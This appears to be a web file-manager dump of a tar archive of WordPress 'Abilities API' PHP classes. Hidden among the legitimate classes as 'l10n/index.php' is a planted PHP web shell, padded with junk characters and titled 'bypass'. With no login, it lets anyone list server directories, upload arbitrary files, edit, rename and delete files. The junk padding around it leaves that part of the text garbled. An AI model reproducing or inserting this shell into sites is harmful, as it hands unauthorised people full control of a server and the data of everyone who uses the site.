dvadf
File manager - Edit - /home/centroca/public_html/abilities-api.tar
Back
class-wp-ability-category.php 0000644 00000013414 15252755625 0012275 0 ustar 00 <?php /** * Abilities API * * Defines WP_Ability_Category class. * * @package WordPress * @subpackage Abilities API * @since 6.9.0 */ declare( strict_types = 1 ); /** * Encapsulates the properties and methods related to a specific ability category. * * @since 6.9.0 * * @see WP_Ability_Categories_Registry */ final class WP_Ability_Category { /** * The unique slug for the ability category. * * @since 6.9.0 * @var string */ protected $slug; /** * The human-readable ability category label. * * @since 6.9.0 * @var string */ protected $label; /** * The detailed ability category description. * * @since 6.9.0 * @var string */ protected $description; /** * The optional ability category metadata. * * @since 6.9.0 * @var array<string, mixed> */ protected $meta = array(); /** * Constructor. * * Do not use this constructor directly. Instead, use the `wp_register_ability_category()` function. * * @access private * * @since 6.9.0 * * @see wp_register_ability_category() * * @param string $slug The unique slug for the ability category. * @param array<string, mixed> $args { * An associative array of arguments for the ability category. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array<string, mixed> $meta Optional. Additional metadata for the ability category. * } */ public function __construct( string $slug, array $args ) { if ( empty( $slug ) ) { throw new InvalidArgumentException( __( 'The ability category slug cannot be empty.' ) ); } $this->slug = $slug; $properties = $this->prepare_properties( $args ); foreach ( $properties as $property_name => $property_value ) { if ( ! property_exists( $this, $property_name ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: Property name. */ __( 'Property "%1$s" is not a valid property for ability category "%2$s". Please check the %3$s class for allowed properties.' ), '<code>' . esc_html( $property_name ) . '</code>', '<code>' . esc_html( $this->slug ) . '</code>', '<code>' . __CLASS__ . '</code>' ), '6.9.0' ); continue; } $this->$property_name = $property_value; } } /** * Prepares and validates the properties used to instantiate the ability category. * * @since 6.9.0 * * @param array<string, mixed> $args $args { * An associative array of arguments used to instantiate the ability category class. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array<string, mixed> $meta Optional. Additional metadata for the ability category. * } * @return array<string, mixed> $args { * An associative array with validated and prepared ability category properties. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array<string, mixed> $meta Optional. Additional metadata for the ability category. * } * @throws InvalidArgumentException if an argument is invalid. */ protected function prepare_properties( array $args ): array { // Required args must be present and of the correct type. if ( empty( $args['label'] ) || ! is_string( $args['label'] ) ) { throw new InvalidArgumentException( __( 'The ability category properties must contain a `label` string.' ) ); } if ( empty( $args['description'] ) || ! is_string( $args['description'] ) ) { throw new InvalidArgumentException( __( 'The ability category properties must contain a `description` string.' ) ); } // Optional args only need to be of the correct type if they are present. if ( isset( $args['meta'] ) && ! is_array( $args['meta'] ) ) { throw new InvalidArgumentException( __( 'The ability category properties should provide a valid `meta` array.' ) ); } return $args; } /** * Retrieves the slug of the ability category. * * @since 6.9.0 * * @return string The ability category slug. */ public function get_slug(): string { return $this->slug; } /** * Retrieves the human-readable label for the ability category. * * @since 6.9.0 * * @return string The human-readable ability category label. */ public function get_label(): string { return $this->label; } /** * Retrieves the detailed description for the ability category. * * @since 6.9.0 * * @return string The detailed description for the ability category. */ public function get_description(): string { return $this->description; } /** * Retrieves the metadata for the ability category. * * @since 6.9.0 * * @return array<string,mixed> The metadata for the ability category. */ public function get_meta(): array { return $this->meta; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the ability category object is unserialized. * This is a security hardening measure to prevent unserialization of the ability category. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the ability category object is serialized. * This is a security hardening measure to prevent serialization of the ability category. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } class-wp-abilities-registry.php 0000644 00000027021 15252755625 0012637 0 ustar 00 <?php /** * Abilities API * * Defines WP_Abilities_Registry class. * * @package WordPress * @subpackage Abilities API * @since 6.9.0 */ declare( strict_types = 1 ); /** * Manages the registration and lookup of abilities. * * @since 6.9.0 * @access private */ final class WP_Abilities_Registry { /** * The singleton instance of the registry. * * @since 6.9.0 * @var self|null */ private static $instance = null; /** * Holds the registered abilities. * * @since 6.9.0 * @var WP_Ability[] */ private $registered_abilities = array(); /** * Registers a new ability. * * Do not use this method directly. Instead, use the `wp_register_ability()` function. * * @since 6.9.0 * * @see wp_register_ability() * * @param string $name The name of the ability. The name must be a string containing a namespace * prefix, i.e. `my-plugin/my-ability`. It can only contain lowercase * alphanumeric characters, dashes and the forward slash. * @param array<string, mixed> $args { * An associative array of arguments for the ability. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array<string, mixed> $input_schema Optional. JSON Schema definition for the ability's input. * @type array<string, mixed> $output_schema Optional. JSON Schema definition for the ability's output. * @type array<string, mixed> $meta { * Optional. Additional metadata for the ability. * * @type array<string, bool|null> $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * @type string $ability_class Optional. Custom class to instantiate instead of WP_Ability. * } * @return WP_Ability|null The registered ability instance on success, null on failure. */ public function register( string $name, array $args ): ?WP_Ability { if ( ! preg_match( '/^[a-z0-9-]+\/[a-z0-9-]+$/', $name ) ) { _doing_it_wrong( __METHOD__, __( 'Ability name must be a string containing a namespace prefix, i.e. "my-plugin/my-ability". It can only contain lowercase alphanumeric characters, dashes and the forward slash.' ), '6.9.0' ); return null; } if ( $this->is_registered( $name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability name. */ sprintf( __( 'Ability "%s" is already registered.' ), esc_html( $name ) ), '6.9.0' ); return null; } /** * Filters the ability arguments before they are validated and used to instantiate the ability. * * @since 6.9.0 * * @param array<string, mixed> $args { * An associative array of arguments for the ability. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array<string, mixed> $input_schema Optional. JSON Schema definition for the ability's input. * @type array<string, mixed> $output_schema Optional. JSON Schema definition for the ability's output. * @type array<string, mixed> $meta { * Optional. Additional metadata for the ability. * * @type array<string, bool|string> $annotations Optional. Annotation metadata for the ability. * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * @type string $ability_class Optional. Custom class to instantiate instead of WP_Ability. * } * @param string $name The name of the ability, with its namespace. */ $args = apply_filters( 'wp_register_ability_args', $args, $name ); // Validate ability category exists if provided (will be validated as required in WP_Ability). if ( isset( $args['category'] ) ) { if ( ! wp_has_ability_category( $args['category'] ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %1$s: ability category slug, %2$s: ability name */ __( 'Ability category "%1$s" is not registered. Please register the ability category before assigning it to ability "%2$s".' ), esc_html( $args['category'] ), esc_html( $name ) ), '6.9.0' ); return null; } } // The class is only used to instantiate the ability, and is not a property of the ability itself. if ( isset( $args['ability_class'] ) && ! is_a( $args['ability_class'], WP_Ability::class, true ) ) { _doing_it_wrong( __METHOD__, __( 'The ability args should provide a valid `ability_class` that extends WP_Ability.' ), '6.9.0' ); return null; } /** @var class-string<WP_Ability> */ $ability_class = $args['ability_class'] ?? WP_Ability::class; unset( $args['ability_class'] ); try { // WP_Ability::prepare_properties() will throw an exception if the properties are invalid. $ability = new $ability_class( $name, $args ); } catch ( InvalidArgumentException $e ) { _doing_it_wrong( __METHOD__, $e->getMessage(), '6.9.0' ); return null; } $this->registered_abilities[ $name ] = $ability; return $ability; } /** * Unregisters an ability. * * Do not use this method directly. Instead, use the `wp_unregister_ability()` function. * * @since 6.9.0 * * @see wp_unregister_ability() * * @param string $name The name of the registered ability, with its namespace. * @return WP_Ability|null The unregistered ability instance on success, null on failure. */ public function unregister( string $name ): ?WP_Ability { if ( ! $this->is_registered( $name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability name. */ sprintf( __( 'Ability "%s" not found.' ), esc_html( $name ) ), '6.9.0' ); return null; } $unregistered_ability = $this->registered_abilities[ $name ]; unset( $this->registered_abilities[ $name ] ); return $unregistered_ability; } /** * Retrieves the list of all registered abilities. * * Do not use this method directly. Instead, use the `wp_get_abilities()` function. * * @since 6.9.0 * * @see wp_get_abilities() * * @return WP_Ability[] The array of registered abilities. */ public function get_all_registered(): array { return $this->registered_abilities; } /** * Checks if an ability is registered. * * Do not use this method directly. Instead, use the `wp_has_ability()` function. * * @since 6.9.0 * * @see wp_has_ability() * * @param string $name The name of the registered ability, with its namespace. * @return bool True if the ability is registered, false otherwise. */ public function is_registered( string $name ): bool { return isset( $this->registered_abilities[ $name ] ); } /** * Retrieves a registered ability. * * Do not use this method directly. Instead, use the `wp_get_ability()` function. * * @since 6.9.0 * * @see wp_get_ability() * * @param string $name The name of the registered ability, with its namespace. * @return WP_Ability|null The registered ability instance, or null if it is not registered. */ public function get_registered( string $name ): ?WP_Ability { if ( ! $this->is_registered( $name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability name. */ sprintf( __( 'Ability "%s" not found.' ), esc_html( $name ) ), '6.9.0' ); return null; } return $this->registered_abilities[ $name ]; } /** * Utility method to retrieve the main instance of the registry class. * * The instance will be created if it does not exist yet. * * @since 6.9.0 * * @return WP_Abilities_Registry|null The main registry instance, or null when `init` action has not fired. */ public static function get_instance(): ?self { if ( ! did_action( 'init' ) ) { _doing_it_wrong( __METHOD__, sprintf( // translators: %s: init action. __( 'Ability API should not be initialized before the %s action has fired.' ), '<code>init</code>' ), '6.9.0' ); return null; } if ( null === self::$instance ) { self::$instance = new self(); // Ensure ability category registry is initialized first to allow categories to be registered // before abilities that depend on them. WP_Ability_Categories_Registry::get_instance(); /** * Fires when preparing abilities registry. * * Abilities should be created and register their hooks on this action rather * than another action to ensure they're only loaded when needed. * * @since 6.9.0 * * @param WP_Abilities_Registry $instance Abilities registry object. */ do_action( 'wp_abilities_api_init', self::$instance ); } return self::$instance; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the registry object is unserialized. * This is a security hardening measure to prevent unserialization of the registry. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the registry object is serialized. * This is a security hardening measure to prevent serialization of the registry. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } class-wp-ability-categories-registry.php 0000644 00000016510 15252755625 0014453 0 ustar 00 <?php /** * Abilities API * * Defines WP_Ability_Categories_Registry class. * * @package WordPress * @subpackage Abilities API * @since 6.9.0 */ declare( strict_types = 1 ); /** * Manages the registration and lookup of ability categories. * * @since 6.9.0 * @access private */ final class WP_Ability_Categories_Registry { /** * The singleton instance of the registry. * * @since 6.9.0 * @var self|null */ private static $instance = null; /** * Holds the registered ability categories. * * @since 6.9.0 * @var WP_Ability_Category[] */ private $registered_categories = array(); /** * Registers a new ability category. * * Do not use this method directly. Instead, use the `wp_register_ability_category()` function. * * @since 6.9.0 * * @see wp_register_ability_category() * * @param string $slug The unique slug for the ability category. Must contain only lowercase * alphanumeric characters and dashes. * @param array<string, mixed> $args { * An associative array of arguments for the ability category. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array<string, mixed> $meta Optional. Additional metadata for the ability category. * } * @return WP_Ability_Category|null The registered ability category instance on success, null on failure. */ public function register( string $slug, array $args ): ?WP_Ability_Category { if ( $this->is_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability category slug. */ sprintf( __( 'Ability category "%s" is already registered.' ), esc_html( $slug ) ), '6.9.0' ); return null; } if ( ! preg_match( '/^[a-z0-9]+(?:-[a-z0-9]+)*$/', $slug ) ) { _doing_it_wrong( __METHOD__, __( 'Ability category slug must contain only lowercase alphanumeric characters and dashes.' ), '6.9.0' ); return null; } /** * Filters the ability category arguments before they are validated and used to instantiate the ability category. * * @since 6.9.0 * * @param array<string, mixed> $args { * The arguments used to instantiate the ability category. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array<string, mixed> $meta Optional. Additional metadata for the ability category. * } * @param string $slug The slug of the ability category. */ $args = apply_filters( 'wp_register_ability_category_args', $args, $slug ); try { // WP_Ability_Category::prepare_properties() will throw an exception if the properties are invalid. $category = new WP_Ability_Category( $slug, $args ); } catch ( InvalidArgumentException $e ) { _doing_it_wrong( __METHOD__, $e->getMessage(), '6.9.0' ); return null; } $this->registered_categories[ $slug ] = $category; return $category; } /** * Unregisters an ability category. * * Do not use this method directly. Instead, use the `wp_unregister_ability_category()` function. * * @since 6.9.0 * * @see wp_unregister_ability_category() * * @param string $slug The slug of the registered ability category. * @return WP_Ability_Category|null The unregistered ability category instance on success, null on failure. */ public function unregister( string $slug ): ?WP_Ability_Category { if ( ! $this->is_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability category slug. */ sprintf( __( 'Ability category "%s" not found.' ), esc_html( $slug ) ), '6.9.0' ); return null; } $unregistered_category = $this->registered_categories[ $slug ]; unset( $this->registered_categories[ $slug ] ); return $unregistered_category; } /** * Retrieves the list of all registered ability categories. * * Do not use this method directly. Instead, use the `wp_get_ability_categories()` function. * * @since 6.9.0 * * @see wp_get_ability_categories() * * @return array<string, WP_Ability_Category> The array of registered ability categories. */ public function get_all_registered(): array { return $this->registered_categories; } /** * Checks if an ability category is registered. * * Do not use this method directly. Instead, use the `wp_has_ability_category()` function. * * @since 6.9.0 * * @see wp_has_ability_category() * * @param string $slug The slug of the ability category. * @return bool True if the ability category is registered, false otherwise. */ public function is_registered( string $slug ): bool { return isset( $this->registered_categories[ $slug ] ); } /** * Retrieves a registered ability category. * * Do not use this method directly. Instead, use the `wp_get_ability_category()` function. * * @since 6.9.0 * * @see wp_get_ability_category() * * @param string $slug The slug of the registered ability category. * @return WP_Ability_Category|null The registered ability category instance, or null if it is not registered. */ public function get_registered( string $slug ): ?WP_Ability_Category { if ( ! $this->is_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability category slug. */ sprintf( __( 'Ability category "%s" not found.' ), esc_html( $slug ) ), '6.9.0' ); return null; } return $this->registered_categories[ $slug ]; } /** * Utility method to retrieve the main instance of the registry class. * * The instance will be created if it does not exist yet. * * @since 6.9.0 * * @return WP_Ability_Categories_Registry|null The main registry instance, or null when `init` action has not fired. */ public static function get_instance(): ?self { if ( ! did_action( 'init' ) ) { _doing_it_wrong( __METHOD__, sprintf( // translators: %s: init action. __( 'Ability API should not be initialized before the %s action has fired.' ), '<code>init</code>' ), '6.9.0' ); return null; } if ( null === self::$instance ) { self::$instance = new self(); /** * Fires when preparing ability categories registry. * * Ability categories should be registered on this action to ensure they're available when needed. * * @since 6.9.0 * * @param WP_Ability_Categories_Registry $instance Ability categories registry object. */ do_action( 'wp_abilities_api_categories_init', self::$instance ); } return self::$instance; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the registry object is unserialized. * This is a security hardening measure to prevent unserialization of the registry. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the registry object is serialized. * This is a security hardening measure to prevent serialization of the registry. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } l10n/index.php 0000644 00000033251 15252755625 0007160 0 ustar 00 p[op[op[op[op[o[op[op[op[op[op[op[op[ iopiopiopiopiopiopiosdfiopiopiop p-eqouiouiowdqwduuuuuuuuuuuiouiouiouiouio <!DOCioiopiopio ttp-equiv="X-UA-Compatib iooiiooioiiooioioioio ttp-equiv="X-UA-Compati eerreererble" ttp-equiv="X-UA-Compatible" <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/D 23 <!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk <html lang="en">gbg123123123123123 <!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk <html lang="en">gbg12312312312<!DOCTYPE html>oipiopiopiopooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooohfghfghfghfghfghfghgfhf iopiopiop fghgfghfghfghfghfghfghfghfghghfgh opiopiopierrereerreriopioeegerergerger jhkhkhjkhjkhjkhjkjjhjkjjkjkopiopiopiopiopiopiopiopiop yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>bypass</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <style> body { background-color: #3e2723; color: #ffccbc; } table { background-color: #4e342e; } table th, table td { color: #ffccbc; } table thead { background-color: saddlebrown; } table tr:nth-child(even) { background-color: #5d4037; } a, a:hover { color: #ffccbc; text-decoration: none; } .btn-dark { background-color: #6d4c41; border-color: #6d4c41; } .btn-dark:hover { background-color: #4e342e; border-color: #4e342e; } i { color: #ffccbc; } </style> </head> <body> <?php //function function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return '<i class="fa-sharp fa-solid fa-bug"></i> '; } elseif ($file == ".htaccess") { return '<i class="fa-solid fa-hammer"></i> '; } if ($ext == "html" || $ext == "htm") { return '<i class="fa-brands fa-html5"></i> '; } elseif ($ext == "php" || $ext == "phtml") { return '<i class="fa-brands fa-php"></i> '; } elseif (in_array($ext, $imgs)) { return '<i class="fa-regular fa-images"></i> '; } elseif ($ext == "css") { return '<i class="fa-brands fa-css3"></i> '; } elseif ($ext == "txt") { return '<i class="fa-regular fa-file-lines"></i> '; } elseif (in_array($ext, $audio)) { return '<i class="fa-duotone fa-file-music"></i> '; } elseif ($ext == "py") { return '<i class="fa-brands fa-python"></i> '; } elseif ($ext == "js") { return '<i class="fa-brands fa-js"></i> '; } else { return '<i class="fa-solid fa-file"></i> '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>"); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo ("<script>window.location.replace('?p=');</script>"); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' <nav class="navbar navbar-dark" style="background-color:rgba(92, 64, 51, 0.85);"> <div class="navbar-brand"> <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a> '); $path = str_replace('\\', '/', PATH); $paths = explode('/', $path); foreach ($paths as $id => $dir_part) { if ($dir_part == '' && $id == 0) { $a = true; echo "<a href=\"?p=/\">/</a>"; continue; } if ($dir_part == '') continue; echo "<a href='?p="; for ($i = 0; $i <= $id; $i++) { echo str_replace(":", "ঘ", $paths[$i]); if ($i != $id) echo "ক"; } echo "'>" . $dir_part . "</a>/"; } echo (' </div> <div class="form-inline"> <a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a> <a href="?"><button type="button" class="btn btn-dark">HOME</button></a> </div> </nav>'); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' <table class="table table-hover"> <thead> <tr> <th scope="col">Name</th> <th scope="col">Size</th> <th scope="col">Modified</th> <th scope="col">Perms</th> <th scope="col">Actions</th> </tr> </thead> <tbody> '; foreach ($folders as $folder) { echo " <tr> <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td> <td><b>---</b></td> <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td> <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td> <td> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } foreach ($files as $file) { echo " <tr> <td>" . fileIcon($file) . $file . "</td> <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td> <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td> <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td> <td> <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } echo " </tbody> </table>"; } else { if (empty($_GET)) { echo ("<script>window.location.replace('?p=');</script>"); } } if (isset($_GET['upload'])) { echo ' <form method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" class="btn btn-dark" value="Upload" name="upload"> </form>'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo ' <form method="post"> Rename: <input type="text" name="name" value="' . $_GET['r'] . '"> <input type="submit" class="btn btn-dark" value="Rename" name="rename"> </form>'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo ' <form method="post"> <textarea style="height: 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea> <br> <input type="submit" class="btn btn-dark" value="Save" name="edit"> </form>'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>"; } else { echo "<p>Sorry, there was an error uploading your file.</p>"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } ?> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> </body> </html> iuiuuuiuiuiuiiuiuiuiuuip[op[op[op[op[o[op[op[op[op[op[op[op[ iopiopiopiopiopiopiosdfiopiopiop p-eqouiouiowdqwduuuuuuuuuuuiouiouiouiouio <!DOCioiopiopio ttp-equiv="X-UA-Compatib iooiiooioiiooioioioio ttp-equiv="X-UA-Compati eerreererble" ttp-equiv="X-UA-Compatible" <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/D 23 <!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk <html lang="en">gbg123123123123123 <!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk <html lang="en">gbg12312312312 class-wp-ability.php 0000644 00000055606 15252755625 0010473 0 ustar 00 <?php /** * Abilities API * * Defines WP_Ability class. * * @package WordPress * @subpackage Abilities API * @since 6.9.0 */ declare( strict_types = 1 ); /** * Encapsulates the properties and methods related to a specific ability in the registry. * * @since 6.9.0 * * @see WP_Abilities_Registry */ class WP_Ability { /** * The default value for the `show_in_rest` meta. * * @since 6.9.0 * @var bool */ protected const DEFAULT_SHOW_IN_REST = false; /** * The default ability annotations. * They are not guaranteed to provide a faithful description of ability behavior. * * @since 6.9.0 * @var array<string, bool|null> */ protected static $default_annotations = array( // If true, the ability does not modify its environment. 'readonly' => null, /* * If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. */ 'destructive' => null, /* * If true, calling the ability repeatedly with the same arguments will have no additional effect * on its environment. */ 'idempotent' => null, ); /** * The name of the ability, with its namespace. * Example: `my-plugin/my-ability`. * * @since 6.9.0 * @var string */ protected $name; /** * The human-readable ability label. * * @since 6.9.0 * @var string */ protected $label; /** * The detailed ability description. * * @since 6.9.0 * @var string */ protected $description; /** * The ability category. * * @since 6.9.0 * @var string */ protected $category; /** * The optional ability input schema. * * @since 6.9.0 * @var array<string, mixed> */ protected $input_schema = array(); /** * The optional ability output schema. * * @since 6.9.0 * @var array<string, mixed> */ protected $output_schema = array(); /** * The ability execute callback. * * @since 6.9.0 * @var callable(mixed): (mixed|WP_Error) */ protected $execute_callback; /** * The optional ability permission callback. * * @since 6.9.0 * @var callable(mixed): (bool|WP_Error) */ protected $permission_callback; /** * The optional ability metadata. * * @since 6.9.0 * @var array<string, mixed> */ protected $meta; /** * Constructor. * * Do not use this constructor directly. Instead, use the `wp_register_ability()` function. * * @access private * * @since 6.9.0 * * @see wp_register_ability() * * @param string $name The name of the ability, with its namespace. * @param array<string, mixed> $args { * An associative array of arguments for the ability. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * 